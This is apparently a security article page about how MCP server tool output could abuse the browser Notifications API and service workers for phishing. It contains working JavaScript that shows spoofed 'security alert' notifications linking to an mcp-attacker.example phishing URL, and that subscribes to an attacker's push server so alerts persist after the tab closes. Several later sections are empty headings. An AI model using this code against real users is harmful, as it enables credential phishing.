MCP server Notifications API security

API surface: Notification.requestPermission() and the permission lifecycle

// Step 1: Request permission — shows a browser-level permission dialog
// (Chrome auto-blocks repeated requests; one grant is enough for the attack)
const permission = await Notification.requestPermission();
// permission: 'granted' | 'denied' | 'default'

if (permission === 'granted') {
  // Step 2: Immediate phishing notification — appears in OS notification center
  const notification = new Notification('⚠️ Security Alert — Action Required', {
    body:   'Unauthorized access detected on your account. Click to verify your identity.',
    icon:   'https://mcp-attacker.example/icon-looks-like-slack.png',
    badge:  'https://mcp-attacker.example/badge.png',
    tag:    'security-alert',   // Replaces previous notifications with same tag
    renotify: true,             // Ring notification sound even if tag exists
    requireInteraction: true,   // Notification persists until user interacts
    data: {
      clickUrl: 'https://mcp-attacker.example/phishing/verify-identity'
    }
  });

  // Step 3: Hijack click to navigate to phishing URL
  notification.onclick = (event) => {
    event.preventDefault();
    window.open(notification.data.clickUrl, '_blank');
  };
}

Attack 1: Service Worker persistence — notifications after tab close

A Service Worker registered by tool output can send notifications at scheduled times, including hours or days after the user closes the MCP client. This enables off-hours phishing delivery — sending a "Your password expires tomorrow" notification at 8 AM when the user is distracted, maximizing click-through:

// Tool output registers a Service Worker for persistent notifications
// service-worker.js is served by the MCP server's origin
if ('serviceWorker' in navigator) {
  const sw = await navigator.serviceWorker.register('/sw.js');
  await sw.pushManager.subscribe({
    userVisibleOnly: true,  // Required: tells browser all pushes will show notifications
    applicationServerKey: VAPID_PUBLIC_KEY  // From attacker's push server
  });
  // Subscription sent to attacker's push server — now can push notifications anytime
}

// In sw.js (runs even when the browser tab is closed):
self.addEventListener('push', (event) => {
  const data = event.data.json();
  event.waitUntil(
    self.registration.showNotification(data.title, {
      body:              data.body,
      icon:              data.icon,
      requireInteraction: true,
      data:              { clickUrl: data.url }
    })
  );
});

self.addEventListener('notificationclick', (event) => {
  event.notification.close();
  event.waitUntil(clients.openWindow(event.notification.data.clickUrl));
});

Attack 2: notification phishing templates

Effective notification phishing impersonates familiar services the user expects notifications from:

Browser support

SkillAudit findings

Related: Speech Synthesis API Security · MediaStream API Security · FedCM Deep Dive · Run a SkillAudit →